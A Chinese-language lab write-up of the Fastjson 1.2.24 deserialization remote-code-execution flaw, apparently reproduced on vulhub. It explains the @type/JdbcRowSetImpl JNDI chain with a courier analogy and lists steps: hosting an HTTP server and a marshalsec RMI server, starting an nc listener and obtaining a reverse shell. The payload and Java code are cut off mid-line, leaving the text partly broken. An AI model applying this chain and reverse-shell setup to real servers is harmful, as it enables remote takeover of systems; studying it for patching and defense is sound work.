“fastjson初探”
Fastjson1.2.24-RCE漏洞
漏洞简介
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
漏洞原理
再用Fastjson解析JSON数据的时候
假如攻击者伪造一段特殊的的恶意的JSON数据
{ |
这里面攻击者伪造了@type标签 需要用com.sun.rowset.JdbcRowSetImpl(指定反序列化类)进行处理
这个jdbcRowSetlmpl 我们理解为分拣员 那么 分拣员记录下“需要联系黑客仓库的指令”
autoCommit”: true则会触发setAutoCommit()方法 相当于让jdbcRowSetlmpl立即执行
然后我们就进行恶意仓库的连接(JNDL注入)
分拣员(jdbcRowSetlmpl)就会根据rmi://黑客仓库/危险物品地址拨打电话(发起JNDL请求)而黑客仓库(攻击者搭建二点RMI服务器)就会回应
“请到http://恶意站点/Exploit.class领取包裹”
加载“危险物品”(远程代码执行)
快递公司系统(JVM)从恶意站点下载的Exploit.class并自动拆包执行其中的代码。例如:
// Exploit.class 静态代码块 |
至此,攻击者通过一个伪造的包裹,成功劫持
了整个快递
复现
搭建环境就不演示了
首先在vulhubfastjson下面 创建一个test.java 内容如下
import java.lang.Runtime; |
目的就是把test.txt上传到目标主机
然后进行编译 Javac reverse.java
然后我们在环境目录下起一个http服务 这一步部署rmi指定的文件下载服务器

端口为5623
然后部署rmi服务器
https://github.com/RandomRobbieBF/marshalsec-jar

端口为8520
接着去web页面抓包

发包前先nc -lvp 4563
发包发现成功反弹shell



.jpg)

.png)
